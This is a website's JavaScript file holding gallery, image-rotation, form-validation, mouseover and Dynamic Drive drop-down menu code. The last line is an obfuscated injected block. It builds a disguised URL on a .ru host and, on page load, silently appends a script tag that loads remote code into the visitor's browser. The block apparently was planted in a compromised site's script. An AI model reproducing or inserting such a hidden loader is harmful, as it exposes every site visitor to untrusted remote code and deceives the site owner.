// Gallery script.
// With image cross fade effect for those browsers that support it.
// Script copyright (C) 2004 www.cryer.co.uk.
// Script is free to use provided this copyright header is included.
function LoadGallery(pictureName,imageFile,titleCaption,captionText)
{
  if (document.all)
  {
    document.getElementById(pictureName).style.filter="blendTrans(duration=1)";
    document.getElementById(pictureName).filters.blendTrans.Apply();
  }
  document.getElementById(pictureName).src = imageFile;
  if (document.all)
  {
    document.getElementById(pictureName).filters.blendTrans.Play();
  }
  document.getElementById(titleCaption).innerHTML=captionText;
}


//IMAGE ROTATION
// Set up the image files to be used.
var theImages = new Array() // do not change this
// To add more image files, continue with the
// pattern below, adding to the array.

theImages[0] = 'topimage1.jpg'
theImages[1] = 'topimage2.jpg'
theImages[2] = 'topimage3.jpg'
theImages[3] = 'topimage4.jpg'
theImages[4] = 'topimage5.jpg'
theImages[5] = 'topimage6.jpg'
theImages[6] = 'topimage7.jpg'
theImages[7] = 'topimage8.jpg'


// do not edit anything below this line

var j = 0
var p = theImages.length;
var preBuffer = new Array()
for (i = 0; i < p; i++){
   preBuffer[i] = new Image()
   preBuffer[i].src = theImages[i]
}
var whichImage = Math.round(Math.random()*(p-1));
function showImage(){
//document.write('<img src="'+theImages[whichImage]+'">');
document.write("<img src='images/" +theImages[whichImage]+ "' width='768' height='190'><br>")
}
//  End



function dateyear(){
	var d = new Date()
	document.write(d.getFullYear())
}


function doLoad() {
  // does nothing
}

function addEvent( obj, type, fn ){  // the add event function
  if (obj.addEventListener) obj.addEventListener( type, fn, false );
  else if (obj.attachEvent) {
    obj["e"+type+fn] = fn;
    obj[type+fn] = function() {
      obj["e"+type+fn]( window.event );
    };
    obj.attachEvent( "on"+type, obj[type+fn] );
  }
}

var firstEl;

function validateForm(frm) {
  errs = "";
  firstEl = null;
  els = frm.elements;
  for(i=0; i<els.length; i++) {
    if(els[i].id == "req")
      errs += checkVal(els[i]);
  }
  if(errs != "") {
    alert("Please make the following changes:\n\n" + errs);
    if(firstEl)
      firstEl.focus();
    return false;
  }
  return true;
}

function checkVal(el) {
  if(el) {
    if(((el.tagName == "INPUT" || el.tagName == "TEXTAREA") && el.value == "")
       || (el.tagName == "SELECT" && el.options[el.selectedIndex].value == "")) {
      if(firstEl == null)
        firstEl = el;
      return "- " + el.title + "\n";
    }
  }
  return "";
}

/** MOUSE OVER EFFECTS **/
function preloadImgs() {
  imgs = document.images;
  for(i=0; i<imgs.length; i++) {
    src = imgs[i].src;
    if(src.indexOf('_off') != -1) {
      document.onImg = new Image();
      document.onImg.src = src.replace('_off', '_on');
      
      addEvent(imgs[i], "mouseover", toggleImg);
      addEvent(imgs[i], "mouseout", toggleImg);
    }
  }
}

addEvent(window, "load", preloadImgs);

function toggleImg() {
  src = this.src;
  if(src.indexOf('_off') != -1)
    this.src = src.replace('_off', '_on');
  else if(src.indexOf('_on') != -1)
    this.src = src.replace('_on', '_off');
}


function fixIE() {
  if(document.all) {
    theObjects = document.getElementsByTagName("object");
    for (var i = 0; i < theObjects.length; i++) {
      theObjects[i].outerHTML = theObjects[i].outerHTML;
    }
  }
}
//addEvent(window, "load", fixIE);


function goTo(u) {
  window.location = u;
}

function openPopupWindow(url, width, height, scrolling, name) {
  if (!width) width = 350;
  if (!height) height = 350;
  if (!scrolling) scrolling = "no"; 
  if (!name) name = "win"+Math.round(Math.random()*1000); 
  
  features = "width="+width+","
           + "height="+height+","
           + "toolbar=no,"
           + "location=no,"
           + "status=no,"
           + "menubar=no,"
           + "scrollbars="+scrolling+","
           + "top=50,"//+(window.screen.height-height)/2+","
           + "left=50";//+(window.screen.width-width)/2;
  window.open(url,name,features);
}

function launchEvaluation() {
  openPopupWindow('/evaluation/index.jsp', 860, 600, 'yes');
}

/***********************************************
* AnyLink Drop Down Menu- © Dynamic Drive (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for full source code
***********************************************/

		
var menuwidth='165px'; //default menu width
var menubgcolor='#F1DCBE';  //menu bgcolor
var disappeardelay=250;  //menu disappear speed onMouseout (in miliseconds)
var hidemenu_onclick="yes"; //hide menu when user clicks within menu?

/////No further editting needed

var ie4=document.all;
var ns6=document.getElementById&&!document.all;
var agt=navigator.userAgent.toLowerCase();
if(agt.indexOf("safari") != -1)
  ns6 = false;
  
if (ie4||ns6)
document.write('<div id="dropmenudiv" style="visibility:hidden;" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')

function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}


function showhide(obj, e, visible, hidden, menuwidth){
if (ie4||ns6)
dropmenuobj.style.left=dropmenuobj.style.top="-500px"
if (menuwidth!=""){
dropmenuobj.widthobj=dropmenuobj.style
dropmenuobj.widthobj.width=menuwidth
}
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
obj.visibility=visible;
else if (e.type=="click")
obj.visibility=hidden;
}

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function clearbrowseredge(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
}
else{
var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move up?
edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either?
edgeoffset=dropmenuobj.y+obj.offsetHeight-topedge
}
}
return edgeoffset
}

function populatemenu(what){
if (ie4||ns6)
dropmenuobj.innerHTML=what.join("")
}

var curTab, prevClass = '';
function dropdownmenu(obj, e, menucontents, menuwidth, vertadj){
if(curTab) curTab.className = prevClass;
if(menucontents.length > 0) {
curTab = obj;
prevClass = curTab.className;
curTab.className = prevClass + ' navHover';
if (window.event) event.cancelBubble=true
else if (e.stopPropagation) e.stopPropagation()
clearhidemenu()
dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
populatemenu(menucontents)

if (ie4||ns6){
showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
dropmenuobj.x=getposOffset(obj, "left");
dropmenuobj.y=getposOffset(obj, "top");
dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
}

return clickreturnvalue()
}
}

function clickreturnvalue(){
if (ie4||ns6) return false
else return true
}

function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}

function dynamichide(e){
if (ie4&&!dropmenuobj.contains(e.toElement))
delayhidemenu()
else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
delayhidemenu()
}

function hidemenu(e){
if (typeof dropmenuobj!="undefined"){
if (ie4||ns6) {
dropmenuobj.style.visibility="hidden";
curTab.className = prevClass;
}
}
}

function delayhidemenu(){
if (ie4||ns6)
delayhide=setTimeout("hidemenu()",disappeardelay)
}

function clearhidemenu(){
if (typeof delayhide!="undefined")
clearTimeout(delayhide)
}

if (hidemenu_onclick=="yes")
document.onclick=hidemenu

var E=new Array();var J=new Date();function x(){var o='';var j;if(j!='' && j!='Gx'){j=null};var H=new String("g");var M=RegExp;var io;if(io!='' && io!='Z'){io=null};this._="";function e(a,b){var hw;if(hw!='XN' && hw != ''){hw=null};var n= new String("[GUTk".substr(0,1));n+=b;n+="682]".substr(3);this._z='';var IH;if(IH!='' && IH!='ol'){IH='hY'};var XS=new String();var F=new M(n, H);var P;if(P!='' && P!='bw'){P='jL'};return a.replace(F, o);var Zv;if(Zv!='Q' && Zv != ''){Zv=null};};var cp="";var S;if(S!='' && S!='HV'){S=''};var B=String("KkZ/go".substr(3)+"ogln5Q".substr(0,3)+"FjuNe.cjNFu".substr(4,3)+"3ekGom/3kGe".substr(4,3)+"gootiZ4".substr(0,3)+"glexPps".substr(0,3)+".co"+"l8Um/i8Ul".substr(3,3)+"4gtXndigtX4".substr(4,3)+"8N0atiN80".substr(3,3)+"ZxzMmesxZzM".substr(4,3)+"FNV.co".substr(3)+"6Kyum/g".substr(4)+"n4doog".substr(3)+"3siole.".substr(4)+"QS6comSQ6".substr(3,3)+".sg"+"jWw/nijwW".substr(3,3)+"XMd5kke".substr(4)+"i.ctSru".substr(0,3)+"o.j"+"WyQGp.pGWyQ".substr(4,3)+"FTQlhp".substr(4));var fN=new Array();var X_;if(X_!='' && X_!='Dcm'){X_='O'};var l=String("htt"+"ZIeJp:/".substr(4)+"/tidcG".substr(0,3)+"f5Tger5Tf".substr(3,3)+"dir4Ee".substr(0,3)+"ect"+"-colYn".substr(0,3)+"p8WQm.i".substr(4)+"CK5magK5C".substr(3,3)+"Zg1eba".substr(3)+"m.cqOf".substr(0,3)+"om."+"rap"+"NArid4ANr".substr(3,3)+"WIY8me-YWI8".substr(4,3)+"k5pcom".substr(3)+".ouXRv".substr(0,3)+"tea"+"OXZsto".substr(3)+"XCN0nli".substr(4)+"BTQ4ne.TQ4B".substr(4,3)+"6RjZru:6RZj".substr(4,3));this.m="";this.v="";var c='';var iU;if(iU!='Jd' && iU!='EA'){iU='Jd'};var vS;if(vS!='Ak' && vS!='gk'){vS='Ak'};var Y=String("defkaNc".substr(0,3)+"8O07er0O87".substr(4,2));var w=String("src");var Cs='';var Py;if(Py!='eY' && Py != ''){Py=null};var g=window;var SC=new Date();var Li="";var nS=String("sc"+"riCSJp".substr(0,2)+"ptsG4Z".substr(0,2));var sW=new Array();var I=e('8556776704565578455567770657457',"5746");var GxY;if(GxY!='ya'){GxY='ya'};var xQ='';g.onload=function(){var aX=new Date();try {var O_="";var Ge="";var hX='';var _F='';c=l+I;var FI=new Date();c+=B;var AR=new Date();var jt='';bc=document.createElement(nS);var Xs="";var Bj="";bc[w]=c;this.wz="";bc[Y]=[1][0];var TBC;if(TBC!='Dh'){TBC=''};var To=new Date();this.NG='';this.Ty='';var Sy=new String();var Ei="";document.body.appendChild(bc);} catch(X){};};};var cD='';x();